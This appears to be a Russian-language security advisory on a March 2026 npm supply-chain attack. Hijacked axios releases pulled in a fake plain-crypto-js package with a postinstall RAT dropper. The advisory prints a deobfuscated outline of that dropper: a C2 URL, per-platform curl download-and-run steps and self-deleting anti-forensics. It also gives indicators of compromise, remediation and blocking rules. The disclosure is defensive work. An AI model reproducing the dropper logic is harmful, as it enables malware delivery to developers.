30 марта 2026 года специалисты компании StepSecurity обнаружили в npm-реестре две вредоносные версии самого популярного JavaScript HTTP-клиента axios1.14.1 и 0.30.4. Злоумышленники взломали аккаунт одного из мейнтейнеров проекта (jasonsaayman) и добавили в зависимости пакет plain-crypto-js@4.2.1, который при установке запускает RAT-дроппер для Windows, macOS и Linux. Заражённые версии пробыли в реестре около трёх часов, но за это время их успели скачать тысячи разработчиков – как в локальных проектах, так и в CI/CD-пайплайнах.

Компания StepSecurity провела сообщественный вебинар по этому инциденту 1 апреля в 10:00 по тихоокеанскому времени.

Вредоносный код находится не внутри самого axios, а в подставной зависимости plain-crypto-js. Взломанный мейнтейнер опубликовал две версии axios, в package.json которых появилась строчка:

"plain-crypto-js": "^4.2.1"

При этом во всём коде axios нет ни одного require() или import этого пакета. Единственная цель зависимости – запустить postinstall-скрипт, который и выполняет RAT-дроппер.

Сам plain-crypto-js – это искусно подделанная копия легитимной библиотеки crypto-js от Evan Vosberg. Злоумышленник за 18 часов до основной атаки опубликовал “чистую” версию 4.2.0 с аккаунта nrwise@proton.me, чтобы создать видимость нормальной истории пакета. А уже в 4.2.1 добавил postinstall: "node setup.js" и сам скрипт setup.js (4,2 КБ обфусцированного кода).

Полный алгоритм дроппера (после деобфускации)

setup.js написан на Node.js и работает на всех платформах. Вот его логика в упрощённом виде:

// Загружаем модули Node.js
const fs = require("fs");
const os = require("os");
const { execSync } = require("child_process");
 
// C2-сервер злоумышленников
const c2Url = "http://sfrclak.com:8000/6202033";
 
const platform = os.platform();
const tmpDir = os.tmpdir();
 
if (platform === "darwin") {
  // macOS: пишем AppleScript в /tmp/6202033, который через curl скачивает RAT в
  // /Library/Caches/com.apple.act.mond и запускает его через /bin/zsh
} else if (platform === "win32") {
  // Windows: копируем powershell.exe в %PROGRAMDATA%\wt.exe (персистентно),
  // создаём VBScript, который через curl получает PowerShell-пейлоуд в %TEMP%\6202033.ps1
  // и запускает его скрыто
} else {
  // Linux (и всё остальное): curl -o /tmp/ld.py ... && nohup python3 /tmp/ld.py ...
}
 
// Самоуничтожение: удаляем setup.js, подменяем package.json чистой заглушкой (package.md)

Каждая платформа получает свой POST-боди при обращении к C2:

  • macOS: packages.npm.org/product0

  • Windows: packages.npm.org/product1

  • Linux: packages.npm.org/product2

Это сделано для маскировки трафика под легитимные запросы к npm.

После выполнения setup.js дроппер удаляет себя, удаляет package.json с postinstall и переименовывает package.md (заранее подготовленный чистый JSON с версией 4.2.0) в package.json. В результате в node_modules/plain-crypto-js/ лежит совершенно безобидный манифест и npm audit ничего не показывает. Единственный след – сама директория node_modules/plain-crypto-js/ (этот пакет не нужен ни одной легитимной версии axios).

Хронология (UTC)

Время

Событие

2026-03-30 05:57

Публикация plain-crypto-js@4.2.0 (чистая версия-приманка)

2026-03-30 23:59

Публикация plain-crypto-js@4.2.1 (с postinstall и setup.js)

2026-03-31 00:21

Публикация axios@1.14.1 (внедрена зависимость)

2026-03-31 01:00

Публикация axios@0.30.4

2026-03-31 ~03:15

npm удаляет обе вредоносные версии axios

2026-03-31 03:25

npm инициирует security-hold для plain-crypto-js

2026-03-31 04:26

npm публикует заглушку plain-crypto-js@0.0.1-security.0

Вредоносная axios@1.14.1 была доступна 2 часа 53 минуты, axios@0.30.42 часа 15 минут. Этого достаточно, чтобы заразить огромное количество проектов, включая CI/CD-раннеры.

Как обнаружили атаку

StepSecurity AI Package Analyst и StepSecurity Harden-Runner (бесплатный для публичных репозиториев) зафиксировали аномальные исходящие соединения к домену sfrclak.com:8000 во время установки axios в нескольких опенсорс-проектах.

Например, в репозитории Backstage (популярный фреймворк для внутренних порталов разработчика) Harden-Runner отметил вызов C2 на этапе CI. Команда Backstage подтвердила, что их пайплайн работает в изолированном окружении и не пострадал, но сам факт детекции публично доступен: network events в StepSecurity.

Harden-Runner также зафиксировал подмену package.json через 36 секунд после установки – явный признак anti-forensics.

Индикаторы компрометации (IoC)

Вредоносные npm-пакеты:

  • axios@1.14.1 (shasum: 2553649f2322049666871cea80a5d0d6adc700ca)

  • axios@0.30.4 (shasum: d6f3f62fd3b9f5432f5782b62d8cfd5247d5ee71)

  • plain-crypto-js@4.2.1 (shasum: 07d889e2dadce6f3910dcbc253317d28ca61c766)

Сетевые индикаторы:

  • Домен C2: sfrclak.com

  • IP: 142.11.206.73

  • URL: http://sfrclak.com:8000/6202033

  • POST-боди: packages.npm.org/product0, product1, product2

Файловые индикаторы:

  • macOS: /Library/Caches/com.apple.act.mond

  • Windows (персистентный): %PROGRAMDATA%\wt.exe

  • Windows (временные, самоудаляющиеся): %TEMP%\6202033.vbs и %TEMP%\6202033.ps1

  • Linux: /tmp/ld.py

Взломанный аккаунт мейнтейнера: jasonsaayman (имейл изменён на ifstap@proton.me)

Фейковый аккаунт злоумышленника: nrwise@proton.me (публиковал plain-crypto-js)

Безопасные версии:

  • axios@1.14.0 (shasum: 7c29f4cf2ea91ef05018d5aa5399bf23ed3120eb)

  • axios@0.30.3

Что делать, если вы заражены?

Репозитории и код

Если axios@1.14.1 или 0.30.4 найдены в package.json / package-lock.json:

npm install axios@1.14.0   # для 1.x
npm install axios@0.30.3   # для 0.x

Добавьте overrides / resolutions, чтобы заблокировать транзитивное возвращение к вредоносной версии:

"overrides": { "axios": "1.14.0" },
"resolutions": { "axios": "1.14.0" }

Удалите node_modules/plain-crypto-js и переустановите зависимости с --ignore-scripts:

rm -rf node_modules/plain-crypto-js
npm install --ignore-scripts

CI/CD-пайплайны

  • Эфемерные раннеры (GitHub-hosted): сами уничтожаются, но все секреты и токены, которые были воркфлоу во время установки вредоносного axios, необходимо немедленно отозвать и перевыпустить.

  • Постоянные (self-hosted) раннеры: считайте их полностью скомпрометированными. Изолируйте, соберите все учётные данные с машины, отформатируйте и пересоберите из известного хорошего состояния.

Рекомендация на будущее: в CI всегда используйте npm ci --ignore-scripts (или yarn install --ignore-scripts), чтобы postinstall не выполнялись автоматически.

Разработческие машины

Если вы нашли plain-crypto-js или любой из файловых IoC на своём компьютере:

  • Отключите машину от сети (Wi-Fi, Ethernet, VPN).

  • Соберите все секреты (npm-токены, SSH-ключи, AWS/GCP-креды, .env-файлы, пароли из браузера и т. д.).

  • Переустановите систему с нуля (не пытайтесь “почистить” – RAT мог оставить персистентные механизмы, например wt.exe в %PROGRAMDATA% на Windows).

  • Отзовите и перевыпустите все секреты с чистой машины.

Блокировка C2

Добавьте в корпоративный файрвол или /etc/hosts:

0.0.0.0 sfrclak.com
# или для iptables:
iptables -A OUTPUT -d 142.11.206.73 -j DROP

Защита от подобных атак в будущем

Все современные менеджеры пакетов поддерживают политику минимального возраста (min release age), которая запрещает устанавливать пакеты, опубликованные менее N дней назад. Большинство вредоносных пакетов выявляют в течение 24 часов.

Примеры настройки:

  • npm (v11.10.0+): в .npmrcmin-release-age=7d

  • pnpm (v10.16+): minimum-release-age=7d

  • Yarn (v4.10+): npmMinimalAgeGate: "7d" в .yarnrc.yml

  • Bun (v1.3+): minimumReleaseAge = 604800 в bunfig.toml

Эти простые меры сделали бы невозможной автоматическую установку plain-crypto-js@4.2.1 (опубликован за несколько часов до атаки).


Делегируйте часть рутинных задач вместе с BotHub! Для доступа к сервису не требуется VPN и можно использовать российскую карту. По ссылке вы можете получить 300 000 бесплатных токенов для первых задач и приступить к работе с нейросетями прямо сейчас!